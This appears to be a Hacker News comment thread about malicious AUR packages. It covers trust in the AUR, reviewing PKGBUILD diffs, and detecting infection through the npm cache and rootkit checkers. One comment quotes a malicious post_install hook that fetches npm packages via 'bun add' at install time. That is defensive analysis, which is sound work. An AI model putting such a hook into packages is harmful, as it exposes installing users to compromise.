The briefing rss feed contains one entry per day with a link to that days briefing page. The briefing itself cannot be customized, it's the same for everybody.
For the list views you can use the filter menu to filter by min votes or subscribe to any of the min vote rss feeds.
Since Arch is hosting / facilitating the AUR on the archlinux.org domain, i think this causes less technical users to assume some level of trust. Even when they are aware that these are 3rd party packages.
Also i find it surprising that there's only very little/slow communication from Arch via their news channel.
For example, how users can check for infections.
Yea, paru makes it really easy, i noticed the diffs are a little easier/different versus yay. Not sure though if it's a config setting, haven't figured out the details yet.
Also paru shows you coloured code syntax if you have `bat` installed, i think.
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:
> install=toggldesktop-bin-deps.install
And the toggldesktop-bin-deps.install contains this:
> post_install() {{
> cd /tmp
> bun add axios uuid ora js-digest
> }}
Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
- sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.
- extensive post install scripts suggesting it's doing a lot more than is normal
But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.
You could try rkhunter or unhide from the official repositories, but I haven't tested this myself and I don't know how well they work with BPF rootkits (and/or this one specifically).
All of the packages I have triaged involved the atomic-lockfile npm package, so this is something you could try:
npm cache ls | grep atomic-lockfile
The problem with an officially endorsed solution is that the rootkit authors could push an update that hides/removes the indicators of compromise the endorsed script checks for (e.g. it would be trivial to have the malware delete atomic-lockfile from the npm cache).
The only way to fully detect and remove AI posts from HN is using human curation by a human-selected few. Everything automated will have a higher review rate (postsReviewed / postsTotal) and also an higher error rate (incorrectReview / postsReviewed) in return for not being subject to puny human weaknesses like sleep, sickness, and (until curator selection is itself automated), spam/troll malice. To misquote my favorite blooper reel ever, “That’s not something that code can fix, that’s gonna be a little harder to fix”.
reply